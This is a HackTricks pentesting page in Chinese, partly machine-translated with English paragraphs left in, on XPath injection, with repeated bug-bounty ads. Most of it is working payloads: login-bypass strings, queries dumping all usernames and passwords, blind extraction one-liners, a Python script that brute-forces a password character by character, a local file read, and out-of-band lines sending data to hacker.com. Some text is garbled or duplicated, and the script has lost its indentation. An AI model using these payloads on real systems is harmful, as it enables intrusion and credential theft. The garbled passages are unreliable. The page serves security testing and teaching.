hacktricks/pentesting-web/xpath-injection.md
2023-08-03 19:12:22 +00:00

30 KiB
Raw Blame History

XPATH注入

☁️ HackTricks云 ☁️ -🐦 Twitter 🐦 - 🎙️ Twitch 🎙️ - 🎥 Youtube 🎥

HackenProof是所有加密漏洞赏金的家园。

无需延迟获得奖励
HackenProof的赏金只有在客户存入奖励预算后才会启动。在漏洞验证后您将获得奖励。

在web3渗透测试中获得经验
区块链协议和智能合约是新的互联网在其崛起的日子里掌握web3安全。

成为web3黑客传奇
每次验证的漏洞都会获得声誉积分,并占据每周排行榜的榜首。

在HackenProof上注册开始从您的黑客行为中获利!

{% embed url="https://hackenproof.com/register" %}

基本语法

XPath注入是一种攻击技术用于利用应用程序从用户提供的输入构建XPathXML路径语言查询以查询或导航XML文档。

有关如何进行查询的信息:https://www.w3schools.com/xml/xpath_syntax.asp

节点

表达式 描述
nodename 选择所有名称为“nodename”的节点
/ 从根节点选择
// 选择文档中与选择匹配的当前节点的节点,无论它们在哪里
. 选择当前节点
.. 选择当前节点的父节点
@ 选择属性

示例:

路径表达式 结果
bookstore 选择所有名称为“bookstore”的节点
/bookstore 选择根元素bookstore**注意:**如果路径以斜杠(/)开头,它始终表示对元素的绝对路径!
bookstore/book 选择所有作为bookstore子元素的book元素
//book 选择文档中的所有book元素无论它们在哪里
bookstore//book 选择所有作为bookstore元素的后代的book元素无论它们在bookstore元素下的任何位置
//@lang 选择所有名为lang的属性

谓词

路径表达式 结果
/bookstore/book[1]

选择作为bookstore元素子元素的第一个book元素。注意:在IE 5,6,7,8,9中第一个节点是[0]但根据W3C的规定它是[1]。要解决这个问题在IE中将SelectionLanguage设置为XPath

在JavaScript中xml.setProperty("SelectionLanguage","XPath");

/bookstore/book[last()] 选择作为bookstore元素子元素的最后一个book元素
/bookstore/book[last()-1] 选择作为bookstore元素子元素的倒数第二个book元素
/bookstore/book[position()<3] 选择作为bookstore元素子元素的前两个book元素
//title[@lang] 选择所有具有名为lang的属性的title元素
//title[@lang='en'] 选择所有具有值为"en"的"lang"属性的title元素
/bookstore/book[price>35.00] 选择具有价格大于35.00的bookstore元素的所有book元素
/bookstore/book[price>35.00]/title 选择具有价格大于35.00的bookstore元素的book元素的所有title元素

未知节点

通配符 描述
* 匹配任何元素节点
@* 匹配任何属性节点
node() 匹配任何类型的任何节点

示例:

路径表达式 结果
/bookstore/* 选择 bookstore 元素的所有子元素节点
//* 选择文档中的所有元素
//title[@*] 选择具有任何类型的至少一个属性的所有 title 元素

HackenProof 是所有加密漏洞赏金的家园。

即时获得奖励
HackenProof 的赏金只有在客户存入奖励预算后才会启动。在漏洞验证后,您将获得奖励。

在 web3 渗透测试中获得经验
区块链协议和智能合约是新的互联网!在其兴起的时代掌握 web3 安全。

成为 web3 黑客传奇
每次验证的漏洞都会获得声望积分,并占领每周排行榜的榜首。

在 HackenProof 上注册 开始从您的黑客攻击中赚取收入!

{% embed url="https://hackenproof.com/register" %}

示例

<?xml version="1.0" encoding="ISO-8859-1"?>
<data>
<user>
<name>pepe</name>
<password>peponcio</password>
<account>admin</account>
</user>
<user>
<name>mark</name>
<password>m12345</password>
<account>regular</account>
</user>
<user>
<name>fino</name>
<password>fino2</password>
<account>regular</account>
</user>
</data>

访问信息

XPath注入是一种攻击技术用于利用应用程序中的XPath查询漏洞来访问敏感信息。XPath是一种用于在XML文档中定位和选择节点的查询语言。通过在应用程序中注入恶意的XPath查询攻击者可以绕过身份验证和访问控制从而访问未授权的信息。

检测XPath注入漏洞

要检测应用程序中的XPath注入漏洞可以尝试在用户输入的位置注入恶意的XPath查询。以下是一些常见的注入点

  • URL参数
  • 表单字段
  • Cookie值

通过在这些位置注入恶意的XPath查询并观察应用程序的响应可以确定是否存在XPath注入漏洞。

利用XPath注入漏洞

一旦发现XPath注入漏洞攻击者可以利用它来访问敏感信息。以下是一些常见的攻击技术

  • 利用XPath的布尔盲注通过构造恶意的XPath查询攻击者可以通过观察应用程序的响应来推断出敏感信息的存在与否。
  • 利用XPath的错误基于时间盲注通过构造恶意的XPath查询攻击者可以通过观察应用程序的响应时间来推断出敏感信息的存在与否。
  • 利用XPath的错误基于报错盲注通过构造恶意的XPath查询攻击者可以通过观察应用程序的错误消息来推断出敏感信息的存在与否。

防御XPath注入漏洞

要防止XPath注入漏洞可以采取以下措施

  • 输入验证和过滤对用户输入进行严格的验证和过滤以防止恶意的XPath查询注入。
  • 参数化查询使用参数化查询来构造XPath查询而不是将用户输入直接拼接到查询中。
  • 最小权限原则:确保应用程序的权限设置合理,只授予用户访问所需信息的最低权限。

通过采取这些防御措施可以有效地防止XPath注入漏洞并保护敏感信息的安全。

All names - [pepe, mark, fino]
name
//name
//name/node()
//name/child::node()
user/name
user//name
/user/name
//user/name

All values - [pepe, peponcio, admin, mark, ...]
//user/node()
//user/child::node()


Positions
//user[position()=1]/name #pepe
//user[last()-1]/name #mark
//user[position()=1]/child::node()[position()=2] #peponcio (password)

Functions
count(//user/node()) #3*3 = 9 (count all values)
string-length(//user[position()=1]/child::node()[position()=1]) #Length of "pepe" = 4
substrig(//user[position()=2/child::node()[position()=1],2,1) #Substring of mark: pos=2,length=1 --> "a"

识别和窃取模式

XPath Injection can be used to identify and steal the schema of a web application's database. By injecting malicious XPath queries, an attacker can extract sensitive information about the database structure, such as table names, column names, and data types.

XPath注入可以用于识别和窃取Web应用程序数据库的模式。通过注入恶意的XPath查询攻击者可以提取有关数据库结构的敏感信息例如表名、列名和数据类型。

To perform this attack, the attacker needs to identify a vulnerable parameter that is used in an XPath query. This can be done by analyzing the application's source code or by using a web proxy to intercept and modify the requests.

要执行此攻击攻击者需要识别一个在XPath查询中使用的易受攻击的参数。可以通过分析应用程序的源代码或使用Web代理拦截和修改请求来完成此操作。

Once a vulnerable parameter is identified, the attacker can start injecting malicious XPath queries to extract the schema information. The attacker can use functions like substring(), concat(), and count() to manipulate the XPath query and retrieve specific information.

一旦识别出易受攻击的参数攻击者可以开始注入恶意的XPath查询以提取模式信息。攻击者可以使用substring()concat()count()等函数来操作XPath查询并检索特定信息。

For example, the attacker can inject a query like ']|count(//table)|[' to count the number of tables in the database. By incrementing the index in the count() function, the attacker can iterate through all the tables and retrieve their names.

例如,攻击者可以注入类似']|count(//table)|['的查询来计算数据库中表的数量。通过增加count()函数中的索引,攻击者可以遍历所有表并检索它们的名称。

Similarly, the attacker can use the substring() function to extract individual characters of a table or column name. By combining multiple substring() functions with the concat() function, the attacker can reconstruct the complete name.

类似地,攻击者可以使用substring()函数来提取表或列名的单个字符。通过将多个substring()函数与concat()函数结合使用,攻击者可以重建完整的名称。

By leveraging these techniques, an attacker can gradually extract the entire schema of the database, including table names, column names, and data types. This information can then be used for further attacks, such as SQL injection or data exfiltration.

通过利用这些技术攻击者可以逐步提取数据库的整个模式包括表名、列名和数据类型。然后可以将这些信息用于进一步的攻击如SQL注入或数据泄露。

and count(/*) = 1 #root
and count(/*[1]/*) = 2 #count(root) = 2 (a,c)
and count(/*[1]/*[1]/*) = 1 #count(a) = 1 (b)
and count(/*[1]/*[1]/*[1]/*) = 0 #count(b) = 0
and count(/*[1]/*[2]/*) = 3 #count(c) = 3 (d,e,f)
and count(/*[1]/*[2]/*[1]/*) = 0 #count(d) = 0
and count(/*[1]/*[2]/*[2]/*) = 0 #count(e) = 0
and count(/*[1]/*[2]/*[3]/*) = 1 #count(f) = 1 (g)
and count(/*[1]/*[2]/*[3]/[1]*) = 0 #count(g) = 0

#The previous solutions are the representation of a schema like the following
#(at this stage we don't know the name of the tags, but jus the schema)
<root>
<a>
<b></b>
</a>
<c>
<d></d>
<e></e>
<f>
<h></h>
</f>
</c>
</root>

and name(/*[1]) = "root" #Confirm the name of the first tag is "root"
and substring(name(/*[1]/*[1]),1,1) = "a" #First char of name of tag `<a>` is "a"
and string-to-codepoints(substring(name(/*[1]/*[1]/*),1,1)) = 105 #Firts char of tag `<b>`is codepoint 105 ("i") (https://codepoints.net/)

#Stealing the schema via OOB
doc(concat("http://hacker.com/oob/", name(/*[1]/*[1]), name(/*[1]/*[1]/*[1])))
doc-available(concat("http://hacker.com/oob/", name(/*[1]/*[1]), name(/*[1]/*[1]/*[1])))

身份验证绕过

查询示例:

string(//user[name/text()='+VAR_USER+' and password/text()='+VAR_PASSWD+']/account/text())
$q = '/usuarios/usuario[cuenta="' . $_POST['user'] . '" and passwd="' . $_POST['passwd'] . '"]';

OR绕过用户和密码用户和密码值相同

In some cases, when a web application uses XPath queries to authenticate users, it is possible to bypass the login mechanism by injecting an XPath expression that evaluates to true. This can be achieved by providing the same value for both the username and password fields.

在某些情况下当Web应用程序使用XPath查询来验证用户时可以通过注入一个评估为true的XPath表达式来绕过登录机制。这可以通过为用户名和密码字段提供相同的值来实现。

For example, consider the following XPath query used for authentication:

例如考虑以下用于身份验证的XPath查询

//user[@username='admin' and @password='admin']

To bypass the login, you can inject the following XPath expression:

要绕过登录您可以注入以下XPath表达式

//user[@username='admin' and '1'='1']

This will cause the XPath query to evaluate to true, allowing you to bypass the authentication and gain unauthorized access to the application.

这将导致XPath查询评估为true从而允许您绕过身份验证并未经授权地访问应用程序。

' or '1'='1
" or "1"="1
' or ''='
" or ""="
string(//user[name/text()='' or '1'='1' and password/text()='' or '1'='1']/account/text())

Select account
Select the account using the username and use one of the previous values in the password field

滥用空注入

Null injection is a technique used to exploit XPath injection vulnerabilities in web applications. XPath injection occurs when user-supplied input is not properly sanitized and is directly concatenated into an XPath query. By injecting a null character (\x00), an attacker can bypass input validation and potentially manipulate the XPath query to extract sensitive information or perform unauthorized actions.

To abuse null injection, an attacker can append the null character to the user-supplied input, effectively terminating the XPath query and preventing any subsequent characters from being interpreted. This can be achieved by URL encoding the null character as %00 or using other encoding techniques.

Once the null character is injected, the attacker can proceed to craft the XPath query to achieve their objectives. This may involve extracting data from the XML document, modifying the query to bypass authentication mechanisms, or even executing arbitrary commands on the underlying system.

To prevent null injection attacks, it is crucial to properly sanitize and validate user input before incorporating it into XPath queries. Input validation should include checking for the presence of null characters and other special characters that can be used to manipulate the query. Additionally, using parameterized queries or prepared statements can help mitigate XPath injection vulnerabilities by separating user input from the query logic.

By understanding and exploiting null injection vulnerabilities, a penetration tester can identify and help secure web applications against XPath injection attacks.

Username: ' or 1]%00

用户名或密码中的双重OR(仅在一个易受攻击的字段中有效)

重要提示:请注意,"and"是首先执行的操作

Bypass with first match
(This requests are also valid without spaces)
' or /* or '
' or "a" or '
' or 1 or '
' or true() or '
string(//user[name/text()='' or true() or '' and password/text()='']/account/text())

Select account
'or string-length(name(.))<10 or' #Select account with length(name)<10
'or contains(name,'adm') or' #Select first account having "adm" in the name
'or contains(.,'adm') or' #Select first account having "adm" in the current value
'or position()=2 or' #Select 2º account
string(//user[name/text()=''or position()=2 or'' and password/text()='']/account/text())

Select account (name known)
admin' or '
admin' or '1'='2
string(//user[name/text()='admin' or '1'='2' and password/text()='']/account/text())

字符串提取

输出包含字符串,用户可以操纵这些值进行搜索:

/user/username[contains(., '+VALUE+')]
') or 1=1 or (' #Get all names
') or 1=1] | //user/password[('')=(' #Get all names and passwords
') or 2=1] | //user/node()[('')=(' #Get all values
')] | //./node()[('')=(' #Get all values
')] | //node()[('')=(' #Get all values
') or 1=1] | //user/password[('')=(' #Get all names and passwords
')] | //password%00 #All names and passwords (abusing null injection)
')]/../*[3][text()!=(' #All the passwords
')] | //user/*[1] | a[(' #The ID of all users
')] | //user/*[2] | a[(' #The name of all users
')] | //user/*[3] | a[(' #The password of all users
')] | //user/*[4] | a[(' #The account of all users

获取值的长度并通过比较提取它:

In some cases, it may be necessary to determine the length of a value in order to extract it. This can be done by using comparisons in XPath queries.

在某些情况下为了提取值可能需要确定其长度。可以通过在XPath查询中使用比较来实现。

For example, let's say we have a vulnerable parameter called username and we want to extract the length of the password associated with that username. We can use the following XPath query:

例如,假设我们有一个名为username的易受攻击参数并且我们想要提取与该用户名关联的密码的长度。我们可以使用以下XPath查询

' or string-length(//user[username='admin']/password) > 10 or ''

This query will return true if the length of the password is greater than 10 characters. By incrementing the value in the comparison, we can determine the exact length of the password.

如果密码的长度大于10个字符此查询将返回true。通过递增比较中的值我们可以确定密码的确切长度。

通过比较获取值的长度并提取它:

在某些情况下为了提取值可能需要确定其长度。可以通过在XPath查询中使用比较来实现。

例如,假设我们有一个名为username的易受攻击参数并且我们想要提取与该用户名关联的密码的长度。我们可以使用以下XPath查询

' or string-length(//user[username='admin']/password) > 10 or ''

如果密码的长度大于10个字符此查询将返回true。通过递增比较中的值我们可以确定密码的确切长度。

' or string-length(//user[position()=1]/child::node()[position()=1])=4 or ''=' #True if length equals 4
' or substring((//user[position()=1]/child::node()[position()=1]),1,1)="a" or ''=' #True is first equals "a"

substring(//user[userid=5]/username,2,1)=codepoints-to-string(INT_ORD_CHAR_HERE)

... and ( if ( $employee/role = 2 ) then error() else 0 )... #When error() is executed it rises an error and never returns a value

Python 示例

import requests

def get_user_password(username):
    url = f"http://example.com/login?username={username}&password=' or '1'='1"
    response = requests.get(url)
    if "Welcome" in response.text:
        return "Success"
    else:
        return "Failure"

Python 示例

import requests, string

flag = ""
l = 0
alphabet = string.ascii_letters + string.digits + "{}_()"
for i in range(30):
r = requests.get("http://example.com?action=user&userid=2 and string-length(password)=" + str(i))
if ("TRUE_COND" in r.text):
l = i
break
print("[+] Password length: " + str(l))
for i in range(1, l + 1): #print("[i] Looking for char number " + str(i))
for al in alphabet:
r = requests.get("http://example.com?action=user&userid=2 and substring(password,"+str(i)+",1)="+al)
if ("TRUE_COND" in r.text):
flag += al
print("[+] Flag: " + flag)
break

读取文件

XPath注入可以用于读取文件中的内容。通过构造恶意的XPath查询语句可以绕过应用程序的安全措施并读取敏感文件的内容。

以下是一个示例演示了如何使用XPath注入读取文件

<bookstore>
  <book>
    <title>Harry Potter</title>
    <author>J.K. Rowling</author>
    <year>2005</year>
  </book>
  <book>
    <title>The Lord of the Rings</title>
    <author>J.R.R. Tolkien</author>
    <year>1954</year>
  </book>
</bookstore>

假设我们想读取第一本书的作者。我们可以构造以下XPath查询语句

/bookstore/book[1]/author/text()

通过将此查询语句插入到应用程序的输入字段中我们可以利用XPath注入来读取文件中的内容。

请注意XPath注入可能会导致敏感信息泄露因此在进行渗透测试时应格外小心。

(substring((doc('file://protected/secret.xml')/*[1]/*[1]/text()[1]),3,1))) < 127

OOB利用

Out-of-Band (OOB) exploitation is a technique used in XPath injection attacks to extract data from a vulnerable web application. XPath injection occurs when an attacker is able to manipulate the XPath query used by the application to retrieve data from an XML document.

Out-of-Band (OOB)利用是一种在XPath注入攻击中用于从易受攻击的Web应用程序中提取数据的技术。XPath注入发生在攻击者能够操纵应用程序使用的XPath查询以从XML文档中检索数据时。

In OOB exploitation, the attacker crafts a malicious XPath query that includes a request to an external server controlled by the attacker. This request is made by injecting a specific payload into the XPath query, which triggers the application to send an HTTP request to the attacker's server.

在OOB利用中攻击者构造了一个恶意的XPath查询其中包含对攻击者控制的外部服务器的请求。通过将特定的有效负载注入到XPath查询中触发应用程序向攻击者的服务器发送HTTP请求。

The attacker can then analyze the incoming requests on their server to extract sensitive information, such as database contents or internal network details. This technique allows the attacker to bypass any restrictions or security measures implemented by the target application.

然后,攻击者可以分析其服务器上的传入请求,以提取敏感信息,例如数据库内容或内部网络详细信息。这种技术允许攻击者绕过目标应用程序实施的任何限制或安全措施。

There are different methods for performing OOB exploitation in XPath injection attacks, including using DNS requests, HTTP requests, or even SMTP requests. The choice of method depends on the specific scenario and the available vulnerabilities in the target application.

在XPath注入攻击中执行OOB利用有不同的方法包括使用DNS请求、HTTP请求甚至SMTP请求。方法的选择取决于具体的场景和目标应用程序中可用的漏洞。

It is important for developers and security professionals to be aware of the risks associated with XPath injection and OOB exploitation. Proper input validation and sanitization techniques should be implemented to prevent these types of attacks.

doc(concat("http://hacker.com/oob/", RESULTS))
doc(concat("http://hacker.com/oob/", /Employees/Employee[1]/username))
doc(concat("http://hacker.com/oob/", encode-for-uri(/Employees/Employee[1]/username)))

#Instead of doc() you can use the function doc-available
doc-available(concat("http://hacker.com/oob/", RESULTS))
#the doc available will respond true or false depending if the doc exists,
#user not(doc-available(...)) to invert the result if you need to

自动化工具

{% embed url="https://xcat.readthedocs.io/" %}

参考资料

{% embed url="https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/XPATH%20injection" %}

HackenProof 是所有加密货币漏洞赏金的家园。

无需等待即可获得奖励
HackenProof 的赏金只有在客户存入奖励预算后才会启动。在漏洞验证后,您将获得奖励。

在 web3 渗透测试中积累经验
区块链协议和智能合约是新的互联网!在其兴起的时代掌握 web3 安全。

成为 web3 黑客传奇
每次验证的漏洞都会获得声望积分,并占领每周排行榜的榜首。

在 HackenProof 上注册 开始从您的黑客攻击中获利!

{% embed url="https://hackenproof.com/register" %}

☁️ HackTricks Cloud ☁️ -🐦 Twitter 🐦 - 🎙️ Twitch 🎙️ - 🎥 Youtube 🎥